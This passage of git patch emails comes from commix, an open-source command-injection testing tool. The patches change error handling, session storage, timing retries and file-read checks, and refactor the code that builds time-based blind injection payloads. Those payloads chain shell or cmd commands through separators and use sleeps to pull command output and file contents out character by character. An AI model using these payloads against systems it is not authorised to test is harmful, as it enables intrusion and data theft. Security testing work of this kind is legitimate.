pass @@ -725,11 +737,14 @@ def inject_host(url, vuln_parameter, payload, http_request_method): payload = checks.normalize_newlines(payload) request.add_header(settings.HOST, payload) try: - headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = headers.check_http_traffic(request) + if response is None: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -768,11 +783,14 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): payload = checks.normalize_newlines(payload) request.add_header(settings.CUSTOM_HEADER_NAME, payload) try: - headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = headers.check_http_traffic(request) + if response is None: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 0196bb9071..6d2a53f8dc 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -199,19 +199,20 @@ def import_injection_points(url, technique, injection_type, filename, separator, "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " - "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " + "target_os VARCHAR);") # Check if an exact matching record already exists to avoid duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND alter_shell = ? AND payload = ? AND " "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " - "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? LIMIT 1;") + "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? LIMIT 1;") params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), str(prefix), str(suffix), str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), int(url_time_response), int(timesec), int(exec_time), int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), - str(menu.options.tamper or "")) + str(menu.options.tamper or ""), str(settings.TARGET_OS)) # URL-encode base64 padding within the url field only, so it isn't # mistaken for part of the URL structure itself. @@ -224,8 +225,8 @@ def import_injection_points(url, technique, injection_type, filename, separator, if cursor.fetchone() is None: conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " - "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() # Mark injection checker as True to indicate session contains injection data @@ -446,6 +447,8 @@ def apply_stored_technique(row): timesec, exec_time, output_length, is_vulnerable, data, cookie) = row[:20] # Older sessions (pre-tamper-column) won't have this field - default to "". tamper = row[20] if len(row) > 20 else "" + # Older sessions (pre-target_os-column) won't have this field either. + target_os = row[21] if len(row) > 21 else None if http_header: settings.HTTP_HEADER = http_header @@ -463,6 +466,13 @@ def apply_stored_technique(row): "'). Using the stored value to replay this technique consistently.") settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) menu.options.tamper = tamper + if target_os and target_os != "None": + if menu.options.os and menu.options.os.lower() != target_os: + warn_msg = ("The stored session was found against target OS '" + target_os.title() + "', " + "which differs from the '--os' value provided now ('" + menu.options.os.title() + + "'). Using the stored value to replay this technique consistently.") + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.TARGET_OS = target_os return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, diff --git a/src/utils/settings.py b/src/utils/settings.py index 891d676075..c289023520 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "79" +REVISION = "80" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -572,6 +572,9 @@ class OS(object): TESTABLE_VALUE = "" +# Whether TESTABLE_VALUE has already been swapped for a disposable placeholder this scan. +TESTABLE_VALUE_OPTIMIZED = False + # The HTTP header name. HTTP_HEADER = "" @@ -646,7 +649,7 @@ class OS(object): TIMESEC = 0 # Minimum safe delay. -MIN_SAFE_TIMESEC = 1 +MIN_SAFE_TIMESEC = 5 # Higher minimum delay applied once this run has confirmed the target is unstable. MIN_SAFE_TIMESEC_UNSTABLE = 10 From 0f002999752dbffe8618ec55ff8b8deabe5f2acb Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 20 Aug 2026 08:15:03 +0300 Subject: [PATCH 0737/1023] Improved HTTP error handling reliability and performance --- doc/CHANGELOG.md | 4 +++- src/core/injections/controller/checks.py | 28 +++++------------------- src/core/requests/headers.py | 7 ++++++ src/core/requests/requests.py | 6 +++++ src/utils/settings.py | 4 +++- 5 files changed, 25 insertions(+), 24 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3035d3ff77..4ad66c40d3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,7 +1,9 @@ ## Version 4.2 (TBA) -* Revised: Optimized parameter detection by skipping unnecessary value retrieval during testing. +* Revised: Improved HTTP error handling reliability and performance. * Revised: Improved data extraction performance for time-related techniques. * Fixed: Resumed stored techniques are trusted immediately, without a redundant live re-check. +* Added: Time-related techniques can skip a parameter's real, slow value once proven unnecessary for detection. +* Fixed: Improved reliability of HTTP error handling to avoid duplicate requests and inaccurate delay measurements. * Revised: Improved switch `--purge` only to clear the current target's session. * Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans. * Added: Interactive Ctrl-C handling during detection and exploitation, with cleaner exit handling. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5d40522b44..cc4bb39a2b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1157,7 +1157,7 @@ def check_bind_tcp_options(bind_tcp_option): return 3 """ -Ignore error messages and continue the tests. +Ignore the error and continue testing; the choice is remembered for this code. """ def continue_tests(err): # Ignoring (problematic) HTTP error codes. @@ -1167,27 +1167,11 @@ def continue_tests(err): # Possible WAF/IPS try: detect_waf(err.code) - - message = "" - if str(err.code) == settings.NOT_FOUND_ERROR: - message = "Continuing in such cases is not recommended. " - - while True: - message += "Do you want to ignore HTTP response code '" + str(err.code) - message += "' and proceed with testing? [y/N] " - continue_tests = common.read_input(message, default="N", check_batch=True) - if continue_tests in settings.CHOICE_YES: - settings.IGNORE_CODE.append(err.code) - return True - elif continue_tests in settings.CHOICE_NO: - info_msg = "Skipping further testing on the target URL." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - return False - elif continue_tests in settings.CHOICE_QUIT: - return False - else: - common.invalid_option(continue_tests) - pass + warn_msg = "The web server responded with an HTTP error code '" + str(err.code) + warn_msg += "', which could interfere with the results of the tests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.IGNORE_CODE.append(err.code) + return True except AttributeError: # No HTTP code (e.g. connection reset) - retry a bounded number of times. if stability.should_retry_connection_error(err): diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b353ca74fa..6517c7792f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -211,6 +211,8 @@ def https_open(self, req): _ = False response = False unauthorized = False + # Reused below instead of a fresh request, so a matched error isn't sent twice. + pending_error = None while stability.should_keep_retrying(_, unauthorized): if any((settings.REVERSE_TCP, settings.BIND_TCP)): _ = True @@ -253,6 +255,7 @@ def https_open(self, req): with settings.REQUESTS_LOCK: stability.expand_retry_budget() if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: + pending_error = err_msg break except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: @@ -261,11 +264,15 @@ def https_open(self, req): else: if not settings.INIT_TEST: checks.connection_exceptions(err_msg) + if isinstance(err_msg, (_urllib.error.HTTPError, _urllib.error.URLError, SocketError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead)): + pending_error = err_msg break while True: try: if response is False: + if pending_error is not None: + raise pending_error response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # Make .read() idempotent so callers can safely reuse this response. _raw_body = response.read() diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index dc77b90d11..a70b396343 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -567,6 +567,12 @@ def init_injection(payload, http_request_method, url): response = get_request_response(request) if settings.TIME_RELATED_ATTACK: + # A failed request measured nothing real - retry instead of using its elapsed time. + failed_attempts = 0 + while response is False and failed_attempts < settings.TIME_RELATED_ATTACK_RETRIES: + failed_attempts += 1 + start = time.time() + response = get_request_response(request) end = time.time() response = end - start else: diff --git a/src/utils/settings.py b/src/utils/settings.py index c289023520..d1cb8fda97 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "80" +REVISION = "81" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1373,6 +1373,8 @@ class END_LINE: LAGGING_CHECKED = False LAGGING_DETECTED = False TIME_DELAY_CANDIDATES = 3 +# Retries for a failed (not just slow) request during time-based measurement. +TIME_RELATED_ATTACK_RETRIES = 3 # Best known timesec for this target, reused across commands to avoid recalibration. CALIBRATED_TIMESEC = None From 90b62b2012147ff1c53d73808ce35d25e0afcf4b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 20 Aug 2026 08:18:59 +0300 Subject: [PATCH 0738/1023] Improved file-read reliability by checking file existence before extraction --- doc/CHANGELOG.md | 3 ++- src/core/injections/controller/checks.py | 16 ++++++++++++++++ src/core/injections/controller/file_access.py | 5 ++++- src/utils/settings.py | 2 +- 4 files changed, 23 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4ad66c40d3..295fe38c42 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,8 +1,9 @@ ## Version 4.2 (TBA) +* Revised: Improved file-read reliability by checking file existence before extraction. * Revised: Improved HTTP error handling reliability and performance. +* Revised: Optimized parameter detection by skipping unnecessary value retrieval during testing. * Revised: Improved data extraction performance for time-related techniques. * Fixed: Resumed stored techniques are trusted immediately, without a redundant live re-check. -* Added: Time-related techniques can skip a parameter's real, slow value once proven unnecessary for detection. * Fixed: Improved reliability of HTTP error handling to avoid duplicate requests and inaccurate delay measurements. * Revised: Improved switch `--purge` only to clear the current target's session. * Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cc4bb39a2b..33b25de885 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2952,6 +2952,22 @@ def file_content_to_read(): cmd = settings.FILE_READ + file_to_read return cmd, file_to_read +""" +Cheap pre-check for file existence/non-emptiness before full extraction. +""" +def file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique): + if settings.TARGET_OS == settings.OS.WINDOWS: + return True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + payload = payloads.condition_check(separator, "-s " + file_to_read, timesec, http_request_method) + if payload is None: + return True + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return time_related_shell(url_time_response, exec_time, timesec) + """ File read status """ diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index 8227950eb5..b78fdf317b 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -112,7 +112,10 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, _ = False cmd, file_to_read = checks.file_content_to_read() if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: - if settings.TIME_RELATED_ATTACK: + if settings.TIME_RELATED_ATTACK and technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) and \ + not checks.file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique): + shell = "" + elif settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index d1cb8fda97..357b027edd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "81" +REVISION = "82" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b71b33d4f0e2083f29f71e457fe7bfb34a7892b1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 21 Aug 2026 08:47:23 +0300 Subject: [PATCH 0739/1023] Code refactoring --- .../techniques/time_based/tb_payloads.py | 35 ------- src/core/injections/controller/checks.py | 41 +------- src/core/injections/controller/controller.py | 6 -- src/core/injections/controller/parser.py | 3 +- .../injections/controller/shell_options.py | 1 - .../techniques/tempfile_based/tfb_payloads.py | 31 ------ src/core/main.py | 3 - src/core/requests/parameters.py | 99 ------------------- src/core/requests/requests.py | 2 - src/utils/session_handler.py | 6 -- src/utils/settings.py | 77 +-------------- src/utils/update.py | 2 - 12 files changed, 5 insertions(+), 301 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1715978a30..a6e51f177e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -35,7 +35,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " @@ -50,26 +49,21 @@ def decision(separator, TAG, output_length, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + - # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -101,7 +95,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -118,12 +111,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + @@ -133,7 +124,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -198,7 +188,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -217,27 +206,22 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if separator in (";", "%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + - # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length $" + settings.RANDOM_VAR_GENERATOR + ")" + separator + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -268,7 +252,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -286,12 +269,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + @@ -301,7 +282,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -476,13 +456,11 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + separator + - # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + @@ -494,7 +472,6 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ] " + separator + "sleep " + str(timesec) ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -530,7 +507,6 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -547,13 +523,11 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + @@ -562,7 +536,6 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -595,7 +568,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -611,13 +583,11 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me payload = (separator + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + - # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + @@ -625,7 +595,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + "sleep " + str(timesec) ) - # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -655,7 +624,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) elif separator == _urllib.parse.quote("&&") : - #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -671,13 +639,11 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) elif separator == 